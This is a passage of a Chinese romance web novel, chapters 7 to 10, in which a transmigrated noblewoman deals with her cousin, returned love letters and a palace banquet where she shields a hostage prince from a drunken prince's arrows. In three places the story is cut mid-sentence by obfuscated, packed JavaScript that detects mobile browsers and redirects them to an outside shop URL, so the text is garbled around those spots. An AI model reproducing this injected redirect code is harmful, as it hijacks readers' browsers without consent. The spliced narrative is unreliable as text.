《攻略敌国质子失败后》 7. 第 7 章 温晚笙刚一回府,就迫不及待想去找小白猫。 秋香匆匆忙忙拦住她。 “小姐你可算回来了,表少爷正在前厅等小姐呢!” 这位稀客来得真不是时候。 表少爷等了小姐好一会儿,若是被老夫人发现,又免不了一顿责罚。 “表少爷?”温晚笙身形一顿,脑海里开始搜寻关于这个角色的信息。 秋香着急为她卸去男装打扮,“表少爷前两日自边关回京,今日特意来看小姐。” * 温晚笙抵达前厅时,那位表少爷正百无聊赖地转着茶盏玩。 男子恣意张扬,穿着一身绛红衣袍,由金丝构成的花纹很是刺眼。 “表哥。” 温晚笙规规矩矩行礼。 段冲俊眉挑起,惊奇地站起身来,目光将少女从上到下打量了个遍。 “你…叫我什么?”他的声线似乎天生就带着几分桀骜,却不令人讨厌。 “...表哥?” 温晚笙杏眼圆睁,有些不确定了起来。 书里对他的描写并不多。 他叫段冲,是她舅舅的独子。 年仅十八,就继承了舅舅的衣钵,成为远近闻名的段小将军。 此外,他和原身有过一段心照不宣的娃娃亲。 但经过原身一闹,这桩婚事便不了了之。 而就在今年,他会对楚怜芝’一眼万年’,自此,愈发厌恶她这个和女主作对的恶毒女配。 最后,虽然没有对她下手,但却将她的藏身之处透露给了裴怀璟。 如果她是读者,或许磕得起来,但她现在是那个恶毒女配啊! “表妹懂事了,”段冲笑出声来,一个激动就伸手拍了一下她的头:”这么悦耳的称呼,表哥都多久没听过了!” 得有十年了吧。 ‘表哥’是什么特别悦耳的称呼吗? 温晚笙下意识揉揉脑袋。 长得是真好看,手劲也是真大,她脑子已经有点嗡嗡作响了。 她缓了一下,镇定问:“表哥今天找我,是有什么要事吗?” 他和原身估计一年没见了。 “怎么,”段冲不悦地皱起眉头,“没事就不能来找你?” 温晚笙想起原身的下场,赶紧表明自己的立场:“当然不是!” 被段冲出卖不可怕,但落到裴怀璟手里是真的可怕。 段冲又哈哈大笑起来。 原本打算送完东西就走,现在忽然想与许久未见的表妹多聊上几句。 温晚笙呆呆看着他。 这位表哥与她想象中,沉稳持重的少年将军形象相差甚远。 他笑个不停,她只好转移话题问:“这几个箱子是…” 地上有几口沉甸甸的木箱。 段冲笑意微敛,神色竟有片刻的不自在。 “送你的。” 见表妹惊讶,段冲大手一挥,侯在一旁的下人立即将四个箱盖齐齐掀开。 刹那间,珠光宝气扑面而来—— 整整四箱的奇珍异宝,玉石金器、珊瑚明珠...几乎要晃花她的眼。 “看傻了?”段冲修长的手指在她眼前晃了晃,唇边的笑意含了两分戏谑。 温晚笙咽了咽口水,“送我?” 段冲颔首。 温晚笙双眼发光,心里对他的好感往上窜了窜。 不要白不要。 不对。 等他们彻底绝交,他要跟她算账怎么办。 她马上恢复清醒,扯出一抹成熟稳重的笑:“多谢表哥好意,只是太贵重了,表哥还是自己留着吧。” “这有什么贵重的?”段冲随手从箱中拿起一块未经雕琢的玉石,嫌弃道:“在边关,这等物什还不如一口水来得实在。” 温晚笙嘴角抽了抽,摸不清楚他有什么目的,只能干笑:“哈哈,是吗?” “表妹你是不是…”段冲将玉石扔回去,目光变得深沉起来,“忘了什么?” “什、什么?” “不想嫁给我也就罢了,”段冲落寞地垂下眉眼,唉声叹气的模样,活像一个弃夫:“我好不容易运回来的东西,表妹也不收了?” 温晚笙噎了一下,整得他多委屈似的。 其实他自己也从没想过娶原身,只是把她当做一个任性的妹妹。 “那…表哥辛苦了?”她试探性安慰。 她这副懵懂的模样,又把段冲逗乐了。 他忍不住揉乱她的头发,“许久不见,表妹可爱了许多。” 少女一身月白长袄,头发半披着。 明明长相没变,为什么他突然觉得她像个糯米团子。 温晚笙感觉自己要被拍扁了,一个侧身,转移了话题:“对了,舅舅和舅母最近怎么样?” 段冲动作一顿,缓缓收回手:“还好。”好得很,整天想将他赶来温府。 温晚笙乖巧又礼貌地点点头:“劳烦表哥回去后,帮我问他们一声好。” 听说他们对原身不差。 “表妹忽然这么懂事...”段冲啧啧称奇,玩笑道,”莫非被夺舍了?” 温晚笙一个激灵,打哈哈道:“表哥才是,今天话真多。” 记忆里,段冲长大后鲜少和原身聊天,今天倒是闲。 段冲咳嗽一声。 看他也没别的事,温晚笙索性直接说:“我还有事,表哥你自便?”她还要去照顾猫呢。 段冲没想到她真的改了性子。 他敏捷侧身,将她拦住,“表妹难道真的忍心,让我带着这些东西,怎么来的就怎么回去?” “…...” 段冲唉声连连,“这要是传出去,我的脸面可就没处搁了。” 温晚笙抿了抿唇,“那表哥以后可别后悔...我是不会还给你的。” ”你表哥我可没这么小气!” * 天气一凉,人就容易生出疲懒之心,只想窝在寝被里一动不动。 在现代好歹有手机可玩,而现在… 温晚笙睡到日上三竿才起,照例去探望了还在昏睡的小猫,然后就坐在窗边发呆。 除了有点无聊,衣来伸手、饭来张口、系统闭嘴,日子算得上惬意。 看秋香回屋,温晚笙懒懒地问:“今天没有话本子吗?” 秋香将糕点摆到桌上,摇摇头:“作者今日告了假,许是因为要过年了。” 温晚笙‘唉’了一声,只能吃起糕点。 她说的话本子名为《戒》,是现在上京最兴起的故事,讲述的是一段禁忌师生恋。 女主是贫困人家的孩子,而男主则是比她大了五岁的教书先生。 她没机会读书,只能偷偷在窗外旁听,直到某日被男主发现。 他看她可怜,决定在私下教导她。 久而久之,女主对他生出爱慕之情,但男主不肯接受。 不多时,女主身世大白,是流落民间的公主,但皇帝刚认回这个女儿,就要送她去和亲。 这个时候,男主才肯正视自己的内心,决定和女主私奔,但始终保持着距离。 还是女主主动勾引,他才破戒,之后就是各种酱酱酿酿… 不得不说,无论是哪个时代, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834598|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄黄都很受欢迎。 楚国民风开放,民间戏班子甚至以此为题材,唱戏作曲,歌颂这段动人的爱情。 剧情刚好断到男主要破戒的边缘,看了预告的温晚笙实在是抓心挠肝。 “小姐别忘了,申时便要进宫,”秋香照例挑了几套衣裳,笑问:“小姐今日想穿哪套?” 温晚笙摆摆手,打了个哈欠:“你来决定吧,我相信你的眼光。” 她吃饱喝足,走到院子里透气。 秋香只得跟着出去。 她还是有点不习惯小姐的变化。 以往每逢宫宴小姐必精心打扮,艳压群芳才肯罢休。而今日,小姐貌似一点都不在乎,也不怕...被公主抢风头了。 温晚笙不知道秋香心里的那点小九九,正一心折院子里盛开的梅花。 她打算酿点梅花酒喝。 下人们眼观鼻,鼻观心,谁也不敢上前打扰。 笙月院的婢女都是原主调/教好的,不过其中有没有阳奉阴违,心底不服的人她就不清楚了。 调换布匹的罪魁祸首,在她们其中也说不定。 温晚笙有了主意,当即决定给所有人放两天带薪假期,回家过年。 众人对视一眼。 这还是她们那刁蛮任性、人美心不善的主子吗? 见少女神色认真,道谢欢喜声总算此起彼伏响起。 “哦对,夏雨,秋香,冬雪,你们也是。”温晚笙点了点三个大丫鬟,莞尔一笑,“还有春花,你们去跟她说一下。” 春花负责看管那只猫,但她可以从外面请人来照料。 三人表现得都很受宠若惊。 要知道,她们这种贴身丫鬟,是要日日待命的。 夏雨眼底惊恐一掠而过:“小姐,这恐怕不合礼数。” 温晚笙看她一眼,又不是裁员,有必要这么紧张吗。 这几个丫鬟里,春花性子最为跳脱,秋香细心,冬雪老实,只有夏雨她不是很了解。 秋香也说:“小姐,你身边不能没人照顾。” 冬雪附和。 温晚笙没办法,只好决定给她们‘加班费’。 * 天色早早暗了下来,等温晚笙梳妆打扮好,到府门前集合,家中马车早已备好。 “二姐姐。”温若彤盈盈行礼。 温晚笙回礼。 温若彤眼下压着淡淡青意,估摸着是因为照顾温老夫人,太过劳累。 于是,她下意识关心了一句。 温若彤一怔,惊喜又惊诧地回应。 温晚笙友好一笑,朝马车走去。 “二姐姐,这辆是我的马车。” 身后传来温若彤微怔的声音。 温晚笙抬上的那只脚停在半空,干笑两声,“不好意思,眼花了。” 原来连马车都有讲究。 温若彤盯着少女纤细的背影,面颊越想越烫。 二姐姐不会犯这样的错误。 除非…二姐姐想与她同乘一辆。 马车整齐有序地前行,待抵达天子脚下时,温晚笙掀开车帘。 寒风立刻钻入车内。 马车不能入宫,前方已有不少人先一步下车。 一匹马悄无声息靠近。 “表妹。”马背上的人笑得肆意明朗。 他们昨天才见过。 几乎是同时,沉寂许久的系统活了过来。 【那个怀抱的温度,你早就想体会了不是吗?狠狠抱紧他,直到骨血相融…】 【任务:拥抱攻略对象15秒。】 【任务时限:1天。】 8. 第 8 章 温晚笙和段冲并肩走着,两人不算熟稔,却有一搭没一搭聊着。 不少探究的目光向他们投来。 段冲嘴角噙起浅浅弧度,闷声打趣:“只怕今夜过后,温府的门槛需得再加高三寸才够。” 少女今夜穿得很是喜庆,一身绯红短袄,领口与袖缘皆缀着圈蓬松狐毛,将她容貌的攻击性削几分,平添些许娇憨纯稚。 温晚笙略一怔,才回过味来。 她指尖无意识地捻着袖边绒毛,哭笑不得:“表哥才是招蜂引蝶。” 这话倒也不算冤枉人。 段冲向来同谢衡之与大皇子齐名,并称上京闺秀最想嫁的郎君。 大皇子身份尊崇,没人敢明目张胆肖想,谢衡之身为男主又高冷不可攀,段冲显然是相对来说最好接近的。 段冲将周遭男子的目光扫了回去,散漫地背过手:“表妹今晚注意点,姑父让我看着你。” 心里清楚原主容易闯祸的性子,温晚笙难得没有反驳,点了点头,发簪上的挂饰随着她的动作晃了晃。 见她乖巧的模样不似作假,段冲眸底笑意愈深。 他指节微动,生生按捺下那股想揉乱她发顶的冲动。 * 温升荣让段冲照顾她,但女席与男席之间立着一面硕大的金色屏风,将两侧的喧哗与笑语都隔开来,两人压根碰不上面。 温晚笙跟随领路的侍女行至席间,方一落座,便觉有数道目光落在自己身上。 贵女们静默片刻,发现她没有同去年一般,吵着闹着请求皇后撤去屏风,倒是有些诧异。 但随后,立即想起谢衡之今夜并不会来赴宴,瞬间了然,没热闹可看了。 坐在她右手边的贵女礼貌性和她打完招呼,就和另一边的人聊了起来。 而左边的席位一直是空着的。 温晚笙放眼望去,大家都在和闺中密友聊天,只有她插不上什么话,只能优雅埋头苦吃。 “前些日子的宫宴出了那档子事,着实吓人,若是再出什么岔子,下回我就装病,大皇子再俊也无用…” 右手边的贵女声音不大,但温晚笙还是听得清楚。 她不动声色瞥对方一眼。 原来古代的大家闺秀也会这么说话,还挺活人的嘛。 提到那点子少女心事,女子和她的好友咯咯笑了起来。 “嘘,小声点,别让大皇子听见…” “隔那么远也能听见,得是顺风耳吧。” …… 温晚笙的注意全被眼前几碟点心牢牢勾住。 有银白的桂花糕,还有她最近很爱吃的龙井茶酥。 右眼不合时宜地抽动了两下。 她用力一眨,又是一跳。 她并没有放在心上。 毕竟,左眼跳财,右眼跳肌肉痉挛。 她唯一担心的就是那个任务。 裴怀璟今晚八成无缘赴宴,短短一天时间该怎么把人抱到手呢。 入宫的机会,可不是天天都有。 正当她大快朵颐陷入沉思之际,左侧的空位被人占去,温晚笙毫无所觉,也就没往那边瞧。 一道轻如蚊蚋的声音传来。 温晚笙隐隐约约听到“姐姐”二字,还当是温若彤寻来,口中的点心还没来得及咽下,就偏过头去。 是一位陌生的姑娘。 她约莫十四五岁,着一袭杏色襦裙,发间别着一支海棠玉簪,样貌十分秀气好看。 见温晚笙目光落在自己身上,她无意识揪紧裙角。 温晚笙囫囵咽下食物,冲她点了下头,算是招呼。 仔细瞧着,小姑娘的眉眼有点眼熟,但她一时想不起来。 可能只是几面之缘,多说多错,她还是闭嘴为妙。 面对温晚笙的冷淡,少女面上并无失落,仿佛早已习以为常。 她轻轻吸了一口气,才又怯怯开口: “温姐姐,对、对不起。” 嗯? 传来的声音依旧很轻。 温晚笙咀嚼的动作顿住,怀疑自己是不是幻听了。 她们之间难道有什么过节? 温晚笙目露疑惑,才要开口问,就见少女怯生生垂着头,从袖中掏出一件东西,递到她眼前。 “对不起...温姐姐,兄、兄长让我将信还给你。” 兄长? 信? 困惑和好奇接踵而来,温晚笙下意识伸手,接过那封信。 封口处虽被拆开过,却拆得极仔细,未损及分毫。 既然是给她的,那看一眼应该没事吧。 没多想,她打开信封,取出内里折叠齐整的纸张。 那信笺极好,一触便知是上乘。 目光落于纸面—— “谢郎启。” 是她的字迹。 不,准确来说是原主的。 温晚笙捏着纸张的手指紧了紧,心底隐约浮起某种预感,但还是逐字逐句向下读去。 … “山有木兮木有枝,心悦君兮君不知。” … “只愿君心似我心,定不负相思意。” … 收信人姓‘谢’,又是原身的心上人,温晚笙还有什么猜不出来的。 一首首肉麻的情诗,字字句句情意缱绻,柔肠百转。 温晚笙闭了闭眼,头皮隐隐发麻,手臂上也浮现薄薄一层鸡皮。 好奇心害死猫,她就不该看。 而且,哪有这么表白的! 不知道的,还以为是哪家孩子上交的抄写诗文。 温晚笙迅速将这个烫手山芋收起来,塞入袖中。 犹觉不保险,又往里用力塞了塞,确保不会不慎滑落。 这样的东西,还是不要让第二个人,哦不,第三个人看到为妙。 做完这一切,她侧眼一瞟。 少女眼神里写满忐忑,仿佛自己做了天大的错事。 温晚笙叹了口气,唇边漾开一抹浅淡而苦涩的弧度,似乎真的被伤到了,但还在故作坚强: “谢姑娘,我明白了,劳烦你了。” 既然称谢衡之为兄长,那必是谢家的小姐。 她就说怎么这么眼熟呢,原来是像那天有过一面之缘的谢衡之。 殊不知,她这个黯然神伤的表情在少女眼里,就是活生生的笑面虎。 少女的头颅垂得更低,几乎要缩进衣领里,声音染上哽咽:“对不起,温姐姐…” 温晚笙眉心一跳,原来她这么吓人的吗。 “没事没事,真的没事。”她放软声调,豁达一笑,“都是我年少不懂事,要是谢姑娘不说,我自己都快要忘了。” 其实她更想否认这封信是她写的,因为压根就没署名。 她真怀疑谢衡之会不会不知道是谁写的。 少女怯怯抬起头,发现温晚笙竟没有询问兄长的反应,也没有指责她,反而一副...和蔼可亲的模样。 温晚笙见她神色稍缓,立刻顺势将话题带开:“我最近脑子有些不好使,这也忘,那也忘的。” 她面带歉意问:“姑娘的名字是谢…” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834599|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >少女眼底划过落寞,轻声说:“温姐姐,我叫谢令仪。” “令仪。”温晚笙笑眼弯弯称赞:“很好听的名字。” 谢令仪微微一怔,那抹受宠若惊几乎写在眉梢。 见她这么拘谨,温晚笙心里忽然软了一下,她指向谢令仪桌上的碟子:“令仪,这道龙井糕香甜不腻,你快尝尝看。” 这姑娘生得弱不禁风,让人有种想照顾的冲动。 如此亲昵的称呼,令谢令仪肩膀一颤,几息后,她才低低应了声“好”。 她其实没什么胃口,依言拿起银箸,小口尝了一块。 糕点甜糯,却化不开她心头的忐忑。 犹豫再三,她又忍不住望向少女:“温姐姐…” 温晚笙正欣赏歌舞,听到声音立马偏过头,眼中还带着没散去的笑意:“怎么啦?” 谢令仪咬了咬唇,轻声问:“那件事…温姐姐不会说出去吧?” 温晚笙眨眨眼,顷刻间便猜出个大概。 原身恐怕就是用这个把柄,来胁迫谢令仪为她送信的吧。 虽然不清楚是什么秘密,但温晚笙当即信誓旦旦点点头,“你放心,我必定守口如瓶。” 她又补充一句:“我的秘密...你也要替我保守哦。” 她可不想让任何人知道,自己写过这么羞耻的东西。 谢令仪绞着帕子的手一顿,眉梢的紧张不自觉松了松,“好。” 一曲《霓裳羽衣舞》终,宴席也随之告一段落。 殿中仍喧闹不断,年轻的公子小姐们意犹未尽,三三两两结伴去参加后续的活动——或赋诗作赋,或射箭投壶。 温晚笙对后者跃跃欲试,想拉上这位‘新朋友’作伴。 但谢令仪神情神情有异,怔怔望着一处出神。 温晚笙随着她的视线看过去,只见段冲正被一群少男少女团团围着,众星拱月般簇在中央,言笑晏晏,意气风发。 他年少从军,弓马娴熟,投壶肯定也不在话下。 “听说了吗,二皇子正陪着郦国那位质子‘玩’呢。” “质子?他今夜竟也能来么?” “是呀,正在那头射箭场里,有热闹可看了。” 几句低语从人群中飘出。 温晚笙原本迈向投壶区的脚步猛然刹住。 他也来了? 她暗暗嘀咕,立时调转方向,提起裙摆往射箭区走去。 场边多是些男子,她显得有些格格不入,但他们竟然自觉地为她让出一条路。 甫一踏入最前排,她就看见任务目标。 她正欲上前,忽然发现不对劲。 他好像…在被当作活靶子。 场上除了他,还有一人。 那人锦袍半敞,脸上带着酒色,拿着弓的手摇摇晃晃。 估计就是二皇子。 周围的人一副习以为常的模样。 无非是换了个“靶子”取乐——仆从的位置被一质子顶替。 温晚笙皱眉观察。 裴怀璟站得笔直,眼里丝毫没有对死亡的恐惧。 反而隐隐约约透出一种…兴奋? “质子要是怕了,”二皇子狞笑,箭尖不紧不慢瞄准少年:“可以求求我。” 少年垂下漂亮的眼睛,似乎不屑言语。 二皇子眯了眯眼,猛地拉满弓弦。 温晚笙这才发现,裴怀璟肩膀上放着一颗果子。 但这瞄准的哪是果子,分明是裴怀璟的脸。 嘴比脑子先做出反应: “箭下留人!” 9. 第 9 章 她这一声喊得格外响亮,却还是迟了半瞬。 本来木在那的裴怀璟无意识侧眸,也正是这个微小动作,使箭矢堪堪擦过他的脸颊。 若他稍慢半息,那支箭便要嵌进他的右眼眶。 箭啸从耳边掠过,带着刺骨的凉意,但他听到更多的,是少女干脆而清亮的声音。 有什么东西在心里轻轻翻腾起来。 下一瞬,她冲了上来,义无反顾地挡在了他身前。 “你都不知道躲的吗?” 他现在像什么呢,像一个精致又无生气的木偶,对死生全无惊惧。 要是任务对象死了,她还怎么回家。 耳畔回荡着少女愠怒的质问声,裴怀璟看向她,一颗血珠顺着脸颊缓缓滑落,蜿蜒至下颌。 她气息未平,看起来想打他。 今晚夜色昏暗,无星无月,可那双瞪着他的杏眼里仿佛藏了星子,亮得灼人。 让人想剜下来珍藏。 要不是太监眼疾手快拦住,二皇子就要射出第二箭。 ”一个,两个...” ”怎么有两个人?”迷迷瞪瞪的二皇子不耐烦抬脚,踹开那个大胆的太监。 温晚笙一个激灵,赶紧转身,心里悄悄叫苦。 二皇子手里还攥着弓,眯了好几次眼,才看清来人:“温家、大小姐?” 温晚笙也不指望一个醉鬼能认识自己,淡定地欠身行礼:“臣女行二,见过二皇子。” “温二小姐,”二皇子醉醺醺的眼神澄澈些许,一双丹凤眼在两人之间徘徊,“这是…想一起玩?” 不止是二皇子,底下看热闹的公子小姐们也纷纷回过神来。 怎么着温晚笙都不像是个热心肠的人啊。 鬼才想和他一起玩人命。 温晚笙清了清嗓子,“回二殿下,臣女确有此意。” “哦?”二皇子果然来了兴致,一双剑眉斜飞入鬓,“温二小姐说说,想怎么玩?” “我们…就来射靶子吧,比比谁射得更远,”温晚笙知道自己在说废话,但神情却十分诚恳:“大家一起玩,人多热闹嘛。” 二皇子语气陡转幽冷,扫了眼被少女护着的人,“温二小姐觉得我方才,射的不是‘靶子’?” 温晚笙脊背一僵,循循善诱道,“臣女觉得可以将箭靶做得小一些,更有挑战性,殿下现在这样,要是一不小心…” “温二小姐不懂,”二皇子低低嗤笑,像是听到极有趣的笑话,“这才叫刺激。” 四下霎时静得出奇。 阴风吹过,温晚笙冷得发抖,看来二皇子不想放过裴怀璟。 裴怀璟盯着少女颤了一下的肩膀,不自觉收拢指尖。 她在害怕。 “既然温二小姐有心作陪,”二皇子举起弓在两人之间游移,最终稳稳定格在温晚笙脸上,“不如,由你来代替质子,陪我玩。” 众人倒吸一口冷气,暗叹二皇子当真醉得不轻。 温晚笙可和任人欺辱的质子不同,是皇后娘娘唯一疼爱的外甥女。 二皇子莫不是要公然与皇后作为。 “我…”温晚笙喉咙发紧,一时语塞。 裴怀璟眸色微暗。 她绝不会,赌上自己的性命。 一阵寒意猝然窜上温晚笙被盯着的后颈,沿着脊柱急速蔓延。 就在众人以为她要退缩之际,她忽然转身。 先取下裴怀璟肩头那颗作为“靶子”的小果子,置于自己肩头,随后将裴怀璟推到一边。 动作一气呵成。 “来吧!” 她仰起头,一副视死如归的模样。 试试就试试! 万一二皇子真敢放箭,她就躲到攻略对象怀里,抱他个十五秒,刚好完成任务。 裴怀璟神情微恍,极淡的腥甜气在唇齿间漫开。 少女圆润的杏眼紧紧闭着,似乎比先前还要怕。 她为什么不走。 裴怀璟冷冷看向二皇子。 弓箭缓缓下移,自少女姣好的面庞移至她肩上的果子。 太监面如土色,几乎要跪倒在地,“殿下,三思啊…” 二皇子狭长的风眸微眯,妄图从少女身上捕捉到退缩的痕迹。 可是,没有。 他拉满弓弦。 还是没有。 “呵,”他一个甩手将弓随意扔给太监,“好一场英雄救美。” 温晚笙不确定地睁开一只眼,只见二皇子拂袖而去,只留下一句: “我玩累了,温二小姐若是还想玩,质子归你了。” 一波三折,转变来得太突然,大家还没反应过来,场上就只剩下两人。 这位郦国质子第一回在宫宴上露面。 不少人先前并不认得他的模样,只听闻他生得和他身份卑微的母亲一般丑陋惹人厌。 但现在一瞧,才发觉传言谬以千里—— 他光是站在那,没有锦衣华服,也将在场所有世家公子都比了下去。 温晚笙暗暗舒了口气。 赌赢了。 二皇子再怎么暴戾,也不会随便对她这个护国公之女动手。 但任务怎么办! “还杵在这儿做什么?”温晚笙一把将肩头那颗果子掷在地上,侧眸瞪裴怀璟一眼,故作恼怒,“走啊!” * 芝兰宫。 “公主呢?” 二皇子神色肃然,哪还有先前那副醉醺醺的模样。 “回殿下,”婢女恭恭敬敬垂首行礼,“公主身子不适,已经就寝了。” 二皇子眉宇间划过不易察觉的动荡,抬手让婢女退下,立在檐下良久没有动弹。 楚怜芝只在宫宴上露了一面,摇摇欲坠的模样让人心生怜惜,皇帝最是宠她,自然当即就让她回宫休憩。 但他看得分明,她哪是身子不适,是忧虑成疾,没瞧见心上人,因而躲起来哭。 俗话说得好,敌人的敌人,未尝不可为友。 他不喜欢那个令妹妹魂牵梦萦之人,而温晚笙也恰巧痴情于那人。 她与楚怜芝,倒也算得上半个情敌。 虽然温晚笙今夜行为诡谲,但只要她今后继续与他妹妹作对,他不介意卖她一个人情。 * 温晚笙步子快得像是后面有鬼,裴怀璟落后她五步,静静跟着。 走了许久,两人来到一座凉亭,默契地保持沉默。 夜色清冷,宫道寂静,只有一盏宫灯摇曳,淡红色的灯火映得气氛古怪。 这里没有炭火,温晚笙搓半天手心,还是冷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834600|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她俯身捡了颗小石子打破水面,也打破两人之间的寂静。 “质子经常被这么…欺辱?” 水里石子激起的涟漪,漾开一圈圈纹波。 “温二小姐不是亲眼看到了?”裴怀璟平直的唇角牵起一丝极淡的弧度。 温晚笙飞快瞟了眼少年颊边的血痕。 确实,他能在这样的处境下活到现在,恐怕都是个奇迹。 说实话,她还挺好奇,他刚才是不是真的想死。 她悄悄侧身,让身影靠得与他更近一些,以便发挥。 “抱歉,”温晚笙眼珠子一转,叹了口气,“你的猫还是没撑过去…” 她紧紧盯着他。 “嗯。” 裴怀璟看她一眼,语气平淡到仿佛死的不是他的猫。 温晚笙静默片刻,还是没有从他脸上看到任何悲伤。 “我骗你的!” …… “温二小姐若无他事,”裴怀璟神色淡淡,转身就要走,“我便不奉陪…” “唉,等等。”温晚笙倏然拽住他的衣袖,掏出一个瓷白的小瓶子。 这是她爹硬要让她带的,没想到还真能派上用场。 “给你,”她指了指他脸颊上看着很深,但竟已经结痂的伤痕,“别留疤了。” 伤口的刺痛感恰然传来,裴怀璟没有任何感激之色,“不必。” 他漆黑的瞳仁里,倒映着少女娇俏的面庞。 可能是因为适才走得太急,她的脸颊红扑扑的,像是涂了过多的胭脂。 在宫灯的映照下,那双杏眼过分明亮,包含着过分的关心。 她三番两次救他,究竟为了什么? 他没有什么能让她得到的,还是说,是因为那只猫… 温晚笙看了眼黑漆漆的水面,扯着他的衣袖把他拉近,故意说,“因为我不是质子的心上人,所以你才不肯收?” 裴怀璟的神色一顿。 “如果是四公主给你,你是不是就收了?”她一双漂亮的杏眼瞪着他,刁蛮又无理。 来吧,让暴风雨来得更猛烈一些。 “温二小姐当去瞧瞧大夫。”裴怀璟眉宇间浮起一抹戾色,再不去想方才的事。 他几乎立即就甩开了少女的手。 力道其实不大,但温晚笙顺势向后倾去。 瓷瓶脱手而出,撞击声格外清脆,碎了一地。 “我要掉…”下去了。 没等她说完,一只有力的手一把拉住她。 一冷一热的手心相贴,带来奇异的感觉。 温晚笙眼前一亮,就想顺势摔进他怀里,然而裴怀璟像是能读心一般,立马松手。 反应那么快干嘛! “温二小姐站稳了。” 温晚笙尴尬一笑,擦了擦额头上的虚汗。 大概是先前动作过急,她这一抬手,袖子里轻飘飘掉出一样东西。 不偏不倚,正好落在两人之间。 信封本就已经开了口,信笺丝滑地从里面滑出,落在瓷瓶碎片之上。 表白信! 一阵风掠过,夜色更深了几分。 温晚笙顾不得计划,以最快的动作俯下身。 可还是晚了一步。 那封信,已经被裴怀璟捡了起来。 10. 第 10 章 社死面前,谁能顾得上思考。 绝对不能让他看到那封信的内容。 眼见抢夺无望,温晚笙心一横,整个人不管不顾撞进他怀里。 她紧紧抱住了他。 很紧。 手臂环过他的腰身,力道之大,甚至能感觉到衣料下紧绷的肌肉。 身上忽然挂了一个人,裴怀璟身形微晃,信笺险些飞出去。 好在他反应不慢,指节收拢,只让纸张边缘多出几道折痕。 他看到了三个字:谢郎启。 少女的前额重重抵在他的胸口,紊乱的呼吸一下一下打在衣料上,灼得他那处发烫。 她的指尖攥着他的衣背,一寸寸探到他的伤处。 明明已经快好了,但此刻疼意沿着血脉一点点扩散,自肌肤渗入骨髓,逼得他呼吸骤紧。 偏偏这时,她手腕间的银铃晃了晃。 清脆的声响在耳畔萦绕,扰乱所有感官,一时间竟连推开她的力气都找不回来。 一秒、两秒、… 空气凝滞得近乎粘稠。 风声、呼吸声、心跳声,都在这一刻被无限放大。 裴怀璟的背脊单薄得能触到微微凸起的脊骨,胸膛却意外地宽阔坚实。 他的气息极缓,慢得她几乎察觉不到起伏。 …还挺好抱的。 念头刚冒出来,温晚笙就被自己吓得不轻,下意识想把额头从他胸口挪开。 奈何手臂不够长,只能继续维持这个尴尬的姿势。 她干脆闭上眼,专注于用尽全力不让他逃脱。 十五秒怎么这么长啊! .….. 【恭喜宿主,任务完成!】 【任务奖励:换一张脸,俗称人皮面具。】 温晚笙如蒙大赦,立刻原地弹射。 趁少年还未来得及反应,她眼疾手快,将信件从他手中抽走。 察觉到裴怀璟抬眼看过来,她胡乱将信塞回袖中。 她绽放出一个灿烂的笑容,忽然朝他抱拳:“多谢兄弟救我一命!” 那眼神又避又闪,唇角却扬得理直气壮,仿佛方才那点逾矩,不过只是致谢。 怀里手里皆是一空。 裴怀璟垂眼,视线停在她前额上那抹浅浅压痕,无意识捻动指尖。 她在藏什么。 既已完成任务,温晚笙当然不用继续逗留,当即转身,随意留下一句—— “你自己硬气点,别再被欺负了。” 裴怀璟注视着她仓促的背影,直到消失在拐角。 那股暖香还萦绕在身边,带着梅花的清甜。 似有若无。 挥之不去。 * “温、晚、笙!” 一道夹着明显怒意与挑衅的声音,劈头盖脸砸过来。 温晚笙匆忙的步子一顿,就见一个女子正气势汹汹逼近。 来人比她略矮一些,发钗是金的,耳坠是金的,手镯也是金的。 像一座移动的金库。 温晚笙揉了揉微微发烫的脸颊,语气平静得过分: “有事吗?” 女子呆了一瞬,才拔高声音说:“公主今夜凤体欠安,是不是你搞得鬼?” 公主? 温晚笙这才想起来,她居然还没见到女主。 原来是病了。 不愧是男女主,连这种时候都这么默契。 温晚笙淡淡反问:“你看有可能吗?” 女子被她轻飘飘的态度噎住,差点丢了气势,“哼,最好不是!” 她很快就找回了感觉,抬起下巴,“就算你打扮得再怎么花枝招展,也别妄想谢大人多看你一眼!” 温晚笙别开快被闪瞎的眼,赞同地点了点头:“哦。” "我劝你趁早死了这条心!谢大人与公主乃是天作之合..." “嗯,你说得对。” 她算是看明白了,这姑娘是个npc,主打一个保卫男女主的cp。 书里的女配分为两种:维护女主的小迷妹,以及妄想和女主争夺男主的恶毒女配。 温晚笙显然属于后者。 想到这,温晚笙悄咪咪挪了半步,想趁对方不注意直接开溜。 再不走,攻略对象就要跟上来了。 女子倏地张开双臂拦住她的去路,狐疑地上下打量她,“你今日怎么回事?” 往日的温晚笙不与她唇枪舌剑几个回合绝不会罢休,怎么今夜还附和她? 